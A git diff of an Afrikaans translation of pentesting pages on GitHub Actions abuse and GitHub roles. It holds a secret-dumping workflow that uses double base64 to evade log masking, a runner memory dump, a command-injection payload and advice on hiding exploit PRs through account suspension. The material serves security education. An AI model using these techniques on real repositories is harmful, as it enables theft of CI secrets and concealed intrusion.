> [!CAUTION]
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
> Dus, as 'n action 'n repo van 'n nie‑bestaanbare account gebruik, is dit steeds moontlik dat 'n attacker daardie account kan skep en die action kan kompromitteer.
|
||||
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
@@ -409,11 +409,11 @@ If other repositories where using **dependencies from this user repos**, an atta
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
> In hierdie afdeling sal ons praat oor tegnieke wat toelaat om **pivot from one repo to another** mits ons 'n soort toegang tot die eerste het (kyk die vorige afdeling).
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
Daar word 'n cache onderhou tussen **wokflow runs in the same branch**. Dit beteken dat as 'n attacker 'n **package** kompromitteer wat dan in die cache gestoor word en deur 'n **more privileged** workflow **downloaded** en uitgevoer word, hy daardie workflow ook sal kan **compromise**.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Artifact Poisoning
|
||||
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
Workflows kan **artifacts from other workflows and even repos** gebruik. As 'n attacker daarin slaag om die Github Action wat **uploads an artifact** te **compromise**, en daardie artifact later deur 'n ander workflow gebruik word, kan hy **compromise the other workflows**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -433,7 +433,7 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
### Github Action Policies Bypass
|
||||
|
||||
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **die action sal uitgevoer word sonder enige beperking.**
|
||||
Soos in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass) bespreek, selfs al het 'n repository of organization 'n policy wat die gebruik van sekere actions beperk, kan 'n attacker net die action binne die workflow download (`git clone`) en dit as 'n local action verwys. Aangesien die policies nie op local paths van toepassing is nie, sal die action sonder enige beperking uitgevoer word.
|
||||
|
||||
Example:
|
||||
```yaml
|
||||
@@ -468,15 +468,15 @@ Kyk na die volgende bladsye:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Toegang tot secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Toegang tot geheime <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
As jy inhoud in 'n skrip injekteer, is dit interessant om te weet hoe jy toegang tot secrets kan kry:
|
||||
As jy inhoud in 'n script inspuit, is dit nuttig om te weet hoe jy toegang tot geheime kan kry:
|
||||
|
||||
- As die secret of token op 'n **environment variable** gestel is, kan dit direk deur die omgewing met **`printenv`** toeganklik wees.
|
||||
- As die geheim of token op 'n **omgewingsveranderlike** gestel is, kan dit direk via die omgewing met **`printenv`** verkry word.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lys secrets in Github Action-uitset</summary>
|
||||
<summary>Lys geheime in Github Action-uitset</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Kry reverse shell with secrets</summary>
|
||||
<summary>Kry reverse shell met secrets</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
@@ -526,7 +526,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
</details>
|
||||
|
||||
- As die secret **direk in 'n uitdrukking** gebruik word, word die gegenereerde shell script **on-disk** gestoor en is dit toeganklik.
|
||||
- As die secret gebruik word **direk in 'n uitdrukking**, word die gegenereerde shell-skrip **op-disk** gestoor en is dit toeganklik.
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
@@ -534,7 +534,7 @@ cat /home/runner/work/_temp/*
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Vir 'n **custom action** kan die risiko wissel, afhangend van hoe 'n program die secret gebruik wat dit uit die **argument** verkry het:
|
||||
- Vir 'n **custom action**, kan die risiko wissel afhangend van hoe 'n program die secret gebruik wat dit vanaf die **argument** bekom het:
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -542,7 +542,7 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
- Enumereer alle secrets via die secrets context (collaborator level). 'n Contributor met write access kan 'n workflow op enige branch wysig om alle repository/org/environment secrets te dump. Gebruik double base64 om GitHub’s log masking te omseil en decodeer lokaal:
|
||||
- Som alle secrets op via die secrets context (collaborator level). 'n Contributor met write access kan 'n workflow op enige branch wysig om alle repository/org/environment secrets te dump. Gebruik dubbele base64 om GitHub’s log masking te omseil en decodeer plaaslik:
|
||||
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
@@ -558,35 +558,35 @@ run: |
|
||||
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
|
||||
```
|
||||
|
||||
Dekodeer lokaal:
|
||||
Dekodeer plaaslik:
|
||||
|
||||
```bash
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
Wenk: vir stealth tydens toetsing, enkripteer dit voordat jy dit uitdruk (openssl is preinstalled on GitHub-hosted runners).
|
||||
Wenk: vir stealth tydens toetsing, enkripteer voor druk (openssl is preinstalled on GitHub-hosted runners).
|
||||
|
||||
### Misbruik van Self-hosted runners
|
||||
|
||||
Die manier om te vind watter **GitHub Actions are being executed in non-github infrastructure** is om te soek na **`runs-on: self-hosted`** in die GitHub Action configuration yaml.
|
||||
Die manier om te vind watter **Github Actions in non-github infrastructure uitgevoer word** is om te soek na **`runs-on: self-hosted`** in die Github Action configuration yaml.
|
||||
|
||||
**Self-hosted** runners kan dalk toegang hê tot **extra sensitive information**, tot ander **network systems** (vulnerable endpoints in the network? metadata service?) of, selfs al is dit geïsoleer en vernietig, kan **more than one action might be run at the same time** en die kwaadwillige een kan **steal the secrets** van die ander een.
|
||||
**Self-hosted** runners mag toegang hê tot **ekstra sensitiewe inligting**, tot ander **netwerkstelsels** (kwesbare endpunte in die netwerk? metadata service?) of, selfs as dit geïsoleer en vernietig word, **kan meer as een action terselfdertyd uitgevoer word** en die kwaadwillige een kan die **secrets** van die ander steel.
|
||||
|
||||
In self-hosted runners is dit ook moontlik om die **secrets from the \_Runner.Listener**\_\*\* process\*\* te bekom, wat al die secrets van die workflows by enige stap sal bevat deur sy geheue te dump:
|
||||
In self-hosted runners is dit ook moontlik om die **secrets from the \_Runner.Listener**\_\*\* process\*\* wat al die secrets van die workflows by enige stap sal bevat deur sy geheue te dump:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Kyk na [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Kyk na [**hierdie pos vir meer inligting**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Github Docker Beelde Register
|
||||
### Github Docker Images Registry
|
||||
|
||||
Dit is moontlik om Github actions te maak wat 'n Docker image binne Github sal **bou en stoor**.\
|
||||
'n Voorbeeld kan in die volgende inklapbare element gevind word:
|
||||
Dit is moontlik om Github actions te maak wat **'n Docker image binne Github bou en stoor**.\
|
||||
'n Voorbeeld kan in die volgende inklapbare gedeelte gevind word:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Bou & Push Docker Image</summary>
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
@@ -617,31 +617,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
Soos jy in die vorige kode kon sien, word die Github registry gehuisves op **`ghcr.io`**.
|
||||
Soos jy in die vorige kode kon sien, word die Github-register gehuisves op **`ghcr.io`**.
|
||||
|
||||
'n Gebruiker met lees-permissies op die repo sal dan in staat wees om die Docker Image af te laai met 'n personal access token:
|
||||
'n Gebruiker met leesregte op die repo sal dan die Docker Image kan aflaai met behulp van 'n personal access token:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
Dan kan die gebruiker soek na **leaked secrets in die Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
{{#endref}}
|
||||
|
||||
### Gevoelige inligting in Github Actions logs
|
||||
### Sensitiewe inligting in Github Actions logs
|
||||
|
||||
Selfs al probeer **Github** geheime waardes in die actions logs opspoor en verberg, sal ander sensitiewe data wat tydens die uitvoering van die action gegenereer is nie verborge wees nie. Byvoorbeeld 'n JWT wat met 'n geheime waarde geteken is, sal nie verberg word nie tensy dit [specifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
|
||||
Selfs al probeer **Github** geheime waardes in die Github Actions logs opspoor en dit nie wys nie, sal **ander sensitiewe data** wat tydens die uitvoering van die action gegenereer is nie weggesteek word nie. Byvoorbeeld, 'n JWT wat met 'n geheime waarde onderteken is, sal nie weggesteek word nie tensy dit [spesifiek gekonfigureer](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) is.
|
||||
|
||||
## Om jou spore te verberg
|
||||
## Covering your Tracks
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens is enige PR wat geskep word duidelik sigbaar vir die publiek in Github en vir die geteikende GitHub-rekening. Op GitHub volgens verstek kan ons **nie 'n PR van die internet verwyder nie**, maar daar is 'n draai. Vir Github-rekeninge wat deur Github **geskors** word, word al hul **PRs outomaties verwyder** en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy óf jou **GitHub account suspended** kry óf jou rekening laat gemerk word. Dit sal **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou exploit PRs verwyder).
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Eerstens, enige PR wat ingedien word is duidelik sigbaar vir die publiek in Github en vir die geteikende GitHub-rekening. In GitHub kan ons standaard nie 'n PR van die internet verwyder nie, maar daar is 'n kink in die kabel. Vir Github-rekeninge wat deur Github **geskort** is, word al hul **PRs outomaties uitgevee** en van die internet verwyder. Dus, om jou aktiwiteit te verberg, moet jy óf jou **GitHub account suspended or get your account flagged**. Dit sou **al jou aktiwiteite** op GitHub van die internet verberg (basies al jou exploit PRs verwyder).
|
||||
|
||||
'n Organisasie op GitHub is baie proaktief in die rapporteer van rekeninge aan GitHub. Alles wat jy hoef te doen is “some stuff” in 'n Issue te deel en hulle sal sorg dat jou rekening binne 12 uur geskors word :p en daar het jy dit — jou exploit onsigbaar op GitHub gemaak.
|
||||
'n Organisasie op GitHub is baie proaktief in die rapporteer van rekeninge aan GitHub. Alles wat jy hoef te doen is om “some stuff” in 'n Issue te deel en hulle sal seker maak jou rekening binne 12 uur geskors is :p en daar het jy dit — jou exploit onsigbaar op github gemaak.
|
||||
|
||||
> [!WARNING]
|
||||
> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs vanaf SIEM na te gaan, aangesien die PR vanaf die GitHub UI verwyder sal wees.
|
||||
> Die enigste manier vir 'n organisasie om uit te vind dat hulle geteiken is, is om GitHub logs van SIEM na te gaan aangesien die PR vanaf die GitHub UI verwyder sou wees.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
||||
@@ -4,18 +4,18 @@
|
||||
|
||||
## Verstaan die risiko
|
||||
|
||||
GitHub Actions render expressions ${{ ... }} voordat die stap uitgevoer word. Die gerenderde waarde word in die stap se program geplak (vir run-stappe, 'n shell script). As jy onbetroubare invoer direk binne run: interpolleer, beheer die aanvaller 'n deel van die shell-program en kan willekeurige opdragte uitvoer.
|
||||
GitHub Actions verwerk uitdrukkings ${{ ... }} voordat die stap uitgevoer word. Die verwerkte waarde word in die stap se program geplak (vir run steps, a shell script). As jy onbetroubare inset direk binne run: interpoleer, beheer die aanvaller 'n deel van die shell-program en kan arbitrêre opdragte uitvoer.
|
||||
|
||||
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
|
||||
|
||||
Belangrike punte:
|
||||
- Rendering gebeur voordat uitvoering plaasvind. Die run script word gegenereer met al die uitdrukkings opgelos, en dan deur die shell uitgevoer.
|
||||
- Baie contexts bevat deur die gebruiker beheerde velde afhangend van die triggering event (issues, PRs, comments, discussions, forks, stars, etc.). Sien die untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell quoting binne run: is nie 'n betroubare verdediging nie, omdat die injectie by die template rendering stadium plaasvind. Aanvallers kan uit aanhalingstekens breek of operatoren injekteer via vervaardigde invoer.
|
||||
- Renderering vind plaas voordat uitvoering begin. Die run script word gegenereer met alle uitdrukkings opgelos, en dan deur die shell uitgevoer.
|
||||
- Baie contexts bevat deur gebruikers beheerde velde, afhangend van die triggering event (issues, PRs, comments, discussions, forks, stars, ens.). Sien die untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
- Shell-kwoting binne run: is nie 'n betroubare verdediging nie, omdat die injectie op die template-rendering stadium plaasvind. Aanvallers kan uit aanhalingstekens breek of operatoren injekteer via gekruide insette.
|
||||
|
||||
## Kwetsbare patroon → RCE on runner
|
||||
|
||||
Kwetsbare workflow (getrigger wanneer iemand 'n nuwe issue oopmaak):
|
||||
Kwetsbare workflow (triggered when someone opens a new issue):
|
||||
```yaml
|
||||
name: New Issue Created
|
||||
on:
|
||||
@@ -36,7 +36,7 @@ with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
labels: new
|
||||
```
|
||||
As 'n aanvaller 'n issue met die titel $(id) open, word die gerenderde stap:
|
||||
As 'n aanvaller 'n issue met die titel $(id) oopmaak, word die gerenderde stap:
|
||||
```sh
|
||||
echo "New issue $(id) created"
|
||||
```
|
||||
@@ -44,12 +44,12 @@ Die command substitution voer id op die runner uit. Voorbeelduitset:
|
||||
```
|
||||
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
|
||||
```
|
||||
Hoekom aanhaling jou nie red nie:
|
||||
- Uitdrukkings word eers gerender, en dan word die resulterende skrip uitgevoer. As die onbetroubare waarde $(...), `;`, `"`/`'`, of newlines bevat, kan dit die programstruktuur verander ten spyte van jou aanhalings.
|
||||
Waarom quoting jou nie red nie:
|
||||
- Expressions word eers gerender, en dan word die resulterende script uitgevoer. As die onbetroubare waarde $(...), `;`, `"`/`'`, of newlines bevat, kan dit die programstruktuur verander ten spyte van jou quoting.
|
||||
|
||||
## Veilige patroon (shell variables via env)
|
||||
|
||||
Korrekte teenmaatreël: kopieer onbetroubare input na 'n environment variable, en gebruik dan die inheemse shell-expansie ($VAR) in die run-skrip. Moet dit nie weer inbed met ${{ ... }} binne die command nie.
|
||||
Korrekte teenmaatreël: kopieer die onbetroubare inset na 'n omgewingvariabele, en gebruik dan die native shell-uitbreiding ($VAR) in die run-skrip. Moet nie ${{ ... }} weer inbed binne die opdrag nie.
|
||||
```yaml
|
||||
# safe
|
||||
jobs:
|
||||
@@ -62,29 +62,29 @@ TITLE: ${{ github.event.issue.title }}
|
||||
run: |
|
||||
echo "New issue $TITLE created"
|
||||
```
|
||||
Notas:
|
||||
Notes:
|
||||
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
|
||||
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
|
||||
|
||||
## Oppervlakke wat deur lesers geaktiveer kan word (behandel as onbetroubaar)
|
||||
## Leser-aktiveerbare oppervlaktes (behandel as onbetroubaar)
|
||||
|
||||
Rekeninge met slegs leespermissie op openbare repositories kan steeds baie events trigger. Enige veld in contexts wat van hierdie events afgelei is, moet as attacker-controlled beskou word tensy anders bewys. Voorbeelde:
|
||||
Rekeninge met slegs leesreg op openbare repositories kan steeds baie events uitlok. Enige veld in contexts afgelei van hierdie events moet as deur 'n aanvaller beheer beskou word tensy teendeel bewys is. Voorbeelde:
|
||||
- issues, issue_comment
|
||||
- discussion, discussion_comment (organisasies kan besprekings beperk)
|
||||
- discussion, discussion_comment (orgs can restrict discussions)
|
||||
- pull_request, pull_request_review, pull_request_review_comment
|
||||
- pull_request_target (gevaarlik as dit misbruik word, runs in base repo context)
|
||||
- fork (enigeen kan openbare repositories fork)
|
||||
- fork (anyone can fork public repos)
|
||||
- watch (starring a repo)
|
||||
- Indirectly via workflow_run/workflow_call chains
|
||||
- Indirek via workflow_run/workflow_call chains
|
||||
|
||||
Watter spesifieke fields attacker-controlled is, is event-spesifiek. Raadpleeg GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
Watter spesifieke velde deur 'n aanvaller beheer word, is event-spesifiek. Raadpleeg GitHub Security Lab’s untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
|
||||
|
||||
## Praktiese wenke
|
||||
|
||||
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
|
||||
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
|
||||
- Wees ekstra versigtig wanneer takname, PR titles, usernames, labels, discussion titles, en PR head refs in scripts, command-line flags, of file paths geïnterpoleer word.
|
||||
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
|
||||
- Minimaliseer die gebruik van expressions binne run:. Gee voorkeur aan env: mapping + $VAR.
|
||||
- As jy insette moet transformeer, doen dit in die shell met veilige gereedskap (printf %q, jq -r, etc.), steeds beginnende vanaf 'n shell variable.
|
||||
- Wees ekstra versigtig wanneer jy branch names, PR titles, usernames, labels, discussion titles, en PR head refs in interpolasie in scripts, command-line flags, of file paths plaas.
|
||||
- Vir reusable workflows en composite actions, pas dieselfde patroon toe: map na env dan verwys met $VAR.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@@ -4,153 +4,153 @@
|
||||
|
||||
## Basiese Struktuur
|
||||
|
||||
Die basiese github omgewingsstruktuur van 'n groot **company** is om 'n **enterprise** te besit wat **verskeie organizations** besit en elk van hulle mag **verskeie repositories** en **verskeie teams** bevat. Kleinêre maatskappye mag net **een organization besit en geen enterprises** hê nie.
|
||||
Die basiese Github-omgewingstruktuur van 'n groot **company** is om 'n **enterprise** te besit wat **verskeie organizations** besit en elk van hulle kan **verskeie repositories** en **verskeie teams** bevat. Kleinere maatskappye besit moontlik net **een organization en geen enterprises** nie.
|
||||
|
||||
Vanuit 'n gebruiker se oogpunt kan 'n **user** 'n **member** van **verskillende enterprises en organizations** wees. Binne hulle kan die gebruiker **verskillende enterprise-, organization- en repository-rolle** hê.
|
||||
Vanuit 'n gebruiker se oogpunt kan 'n **gebruiker** 'n **lid** van **verskillende enterprises en organizations** wees. Binne hulle kan die gebruiker **verskillende enterprise-, organization- en repository-rolle** hê.
|
||||
|
||||
Verder kan 'n gebruiker deel wees van **verskillende teams** met verskillende enterprise-, organization- of repository-rolle.
|
||||
Boonop kan 'n gebruiker **deel wees van verskillende teams** met verskillende enterprise-, organization- of repository-rolle.
|
||||
|
||||
En uiteindelik kan **repositories spesiale beskermingsmeganismes** hê.
|
||||
En uiteindelik kan **repositories spesiale beskermingsmeganismes hê**.
|
||||
|
||||
## Privileges
|
||||
|
||||
### Enterprise Roles
|
||||
|
||||
- **Enterprise owner**: Mense met hierdie rol kan **administrateurs bestuur, organizations binne die enterprise bestuur, enterprise-instellings bestuur, beleid afdwing oor organizations**. Hulle **kan egter nie toegang hê tot organization-instellings of inhoud** tensy hulle 'n organization owner gemaak word of direkte toegang tot 'n organisation-besit repository gegee word.
|
||||
- **Enterprise owner**: Mense met hierdie rol kan **administrateurs bestuur, organizations binne die enterprise bestuur, enterprise-instellings bestuur, beleid oor organizations afdwing**. Hulle **kan egter nie toegang hê tot organization-instellings of inhoud** tensy hulle 'n organization owner gemaak word of direkte toegang tot 'n deur 'n organization besit repo gegee word.
|
||||
- **Enterprise members**: Lede van organizations wat deur jou enterprise besit word, is ook **outomaties lede van die enterprise**.
|
||||
|
||||
### Organization Roles
|
||||
|
||||
In 'n organization kan gebruikers verskillende rolle hê:
|
||||
|
||||
- **Organization owners**: Organization owners het **volledige administratiewe toegang tot jou organization**. Hierdie rol moet beperk wees, maar tot nie minder as twee persone in jou organization nie.
|
||||
- **Organization members**: Die **standaard**, nie-administratiewe rol vir **mense in 'n organization** is die organization member. By verstek het organization members **'n aantal permissies**.
|
||||
- **Billing managers**: Billing managers is gebruikers wat die **betaalinstellings vir jou organization kan bestuur**, soos betalingsinligting.
|
||||
- **Security Managers**: Dit is 'n rol wat organization owners aan enige team in 'n organization kan toeken. Wanneer toegepas, gee dit elke lid van die team permissies om **security alerts en instellings oor jou organization te bestuur, sowel as read permissions vir alle repositories** in die organization.
|
||||
- As jou organization 'n security team het, kan jy die security manager-rol gebruik om lede van die team die minste toegang te gee wat hulle nodig het tot die organization.
|
||||
- **Github App managers**: Om ekstra gebruikers toe te laat om **GitHub Apps besit deur 'n organization te bestuur**, kan 'n owner hulle GitHub App manager permissies gee.
|
||||
- **Outside collaborators**: 'n Outside collaborator is 'n persoon wat **toegang het tot een of meer organization repositories maar nie eksplisiet 'n member** van die organization is nie.
|
||||
- **Organization owners**: Organization owners het **volledige administratiewe toegang tot jou organization**. Hierdie rol moet beperk word, maar aan nie minder as twee mense in jou organization gegee word nie.
|
||||
- **Organization members**: Die **standaard**, nie-administratiewe rol vir **mense in 'n organization** is die organization member. Standaard het organization members **'n aantal toestemmings**.
|
||||
- **Billing managers**: Billing managers is gebruikers wat die **billing-instellings vir jou organization kan bestuur**, soos betalingsinligting.
|
||||
- **Security Managers**: Dit is 'n rol wat organization owners aan enige span in 'n organization kan toeken. Wanneer toegepas, gee dit elke lid van die span toestemming om **security alerts en instellings oor jou organization te bestuur, sowel as lees-toestemmings vir alle repositories** in die organization.
|
||||
- As jou organization 'n security span het, kan jy die security manager-rol gebruik om lede van die span die minste toegang te gee wat hulle nodig het tot die organization.
|
||||
- **Github App managers**: Om addisionele gebruikers te laat **manage GitHub Apps owned by an organization**, kan 'n owner hulle GitHub App manager-permissies gee.
|
||||
- **Outside collaborators**: 'n Outside collaborator is 'n persoon wat **toegang het tot een of meer organization repositories maar nie uitdruklik 'n lid** van die organization is nie.
|
||||
|
||||
Jy kan **die permissies vergelyk** van hierdie rolle in hierdie tabel: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
Jy kan **die toestemmings** van hierdie rolle **vergelyk** in hierdie tabel: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
|
||||
|
||||
### Members Privileges
|
||||
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ kan jy die **permissies sien wat gebruikers sal hê net omdat hulle deel is van die organization**.
|
||||
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ kan jy die **toestemmings sien wat gebruikers sal hê net omdat hulle deel is van die organization**.
|
||||
|
||||
Die instellings wat hier gekonfigureer word, dui die volgende permissies van lede van die organization aan:
|
||||
Die instellings wat hier gekonfigureer word, dui die volgende toestemmings van lede van die organization aan:
|
||||
|
||||
- Wees admin, writer, reader of geen toestemming oor al die organization repos nie.
|
||||
- Om admin, writer, reader of geen toestemming oor al die organization repos te wees.
|
||||
- Of lede private, internal of public repositories kan skep.
|
||||
- Of forking van repositories moontlik is
|
||||
- Of dit moontlik is om outside collaborators uit te nooi
|
||||
- Of public of private sites gepubliseer kan word
|
||||
- Die permissies wat admins oor die repositories het
|
||||
- Of lede nuwe teams kan skep
|
||||
- Of forking van repositories moontlik is.
|
||||
- Of dit moontlik is om outside collaborators uit te nooi.
|
||||
- Of public of private sites gepubliseer kan word.
|
||||
- Die toestemmings wat admins oor die repositories het.
|
||||
- Of lede nuwe teams kan skep.
|
||||
|
||||
### Repository Roles
|
||||
|
||||
Standaard word repository rolle geskep:
|
||||
By verstek word repository-rolle geskep:
|
||||
|
||||
- **Read**: Aanbeveel vir **non-code contributors** wat jou projek wil sien of bespreek
|
||||
- **Triage**: Aanbeveel vir **contributors wat proaktief issues en pull requests moet bestuur** sonder write-toegang
|
||||
- **Write**: Aanbeveel vir contributors wat **aktiwiteit na jou projek push**
|
||||
- **Maintain**: Aanbeveel vir **projekbestuurders wat die repository moet bestuur** sonder toegang tot sensitiewe of destruktiewe aksies
|
||||
- **Admin**: Aanbeveel vir mense wat **volle toegang tot die projek nodig het**, insluitend sensitiewe en destruktiewe aksies soos security bestuur of 'n repository uitvee
|
||||
- **Read**: Aanbeveel vir **non-code contributors** wat jou projek wil sien of bespreek.
|
||||
- **Triage**: Aanbeveel vir **contributors wat issues en pull requests proaktief moet bestuur** sonder write-toegang.
|
||||
- **Write**: Aanbeveel vir contributors wat **aktief na jou projek push**.
|
||||
- **Maintain**: Aanbeveel vir **projekbestuurders wat die repository moet bestuur** sonder toegang tot sensitiewe of vernietigende aksies.
|
||||
- **Admin**: Aanbeveel vir mense wat **volle toegang tot die projek benodig**, insluitend sensitiewe en vernietigende aksies soos security bestuur of 'n repository verwyder.
|
||||
|
||||
Jy kan **die permissies vergelyk** van elke rol in hierdie tabel [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
Jy kan **die toestemmings** van elke rol **vergelyk** in hierdie tabel [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
|
||||
|
||||
Jy kan ook **jou eie rolle skep** in _https://github.com/organizations/\<org_name>/settings/roles_
|
||||
|
||||
### Teams
|
||||
|
||||
Jy kan **die teams wat in 'n organization geskep is lys** in _https://github.com/orgs/\<org_name>/teams_. Neem kennis dat om die teams te sien wat kinders van ander teams is, moet jy elke ouerteam besoek.
|
||||
Jy kan **die teams wat in 'n organization geskep is lys** in _https://github.com/orgs/\<org_name>/teams_. Let wel, om die teams te sien wat kinders van ander teams is, moet jy elke ouer-span toegaan.
|
||||
|
||||
### Users
|
||||
|
||||
Die gebruikers van 'n organization kan **gelys** word in _https://github.com/orgs/\<org_name>/people._
|
||||
|
||||
In die inligting van elke gebruiker kan jy die **teams sien waarvan die gebruiker 'n lid is**, en die **repos waartoe die gebruiker toegang het**.
|
||||
In die inligting van elke gebruiker kan jy die **teams sien waarvan die gebruiker lid is**, en die **repos waartoe die gebruiker toegang het**.
|
||||
|
||||
## Github Authentication
|
||||
|
||||
Github bied verskillende maniere om by jou rekening te autentiseer en aksies namens jou uit te voer.
|
||||
Github bied verskillende maniere om by jou rekening aan te meld en aksies namens jou uit te voer.
|
||||
|
||||
### Web Access
|
||||
|
||||
Deur **github.com** te besoek kan jy aanmeld met jou **username en password** (en 'n **2FA moontlik**).
|
||||
Toegang tot **github.com** kan jy aanmeld met jou **username and password** (en moontlik 'n **2FA**).
|
||||
|
||||
### **SSH Keys**
|
||||
|
||||
Jy kan jou rekening instel met een of meer public keys wat die verwante **private key toelaat om aksies namens jou uit te voer.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Jy kan jou rekening met een of verskeie public keys konfigureer wat die verwante **private key to perform actions on your behalf** toelaat. [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **GPG Keys**
|
||||
|
||||
Jy **kan nie die gebruiker daarmee impersonate nie** maar as jy dit nie gebruik nie kan dit moontlik wees dat jy **ontdek word vir die stuur van commits sonder 'n signature'**. Lees meer oor [vigilant mode hier](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode).
|
||||
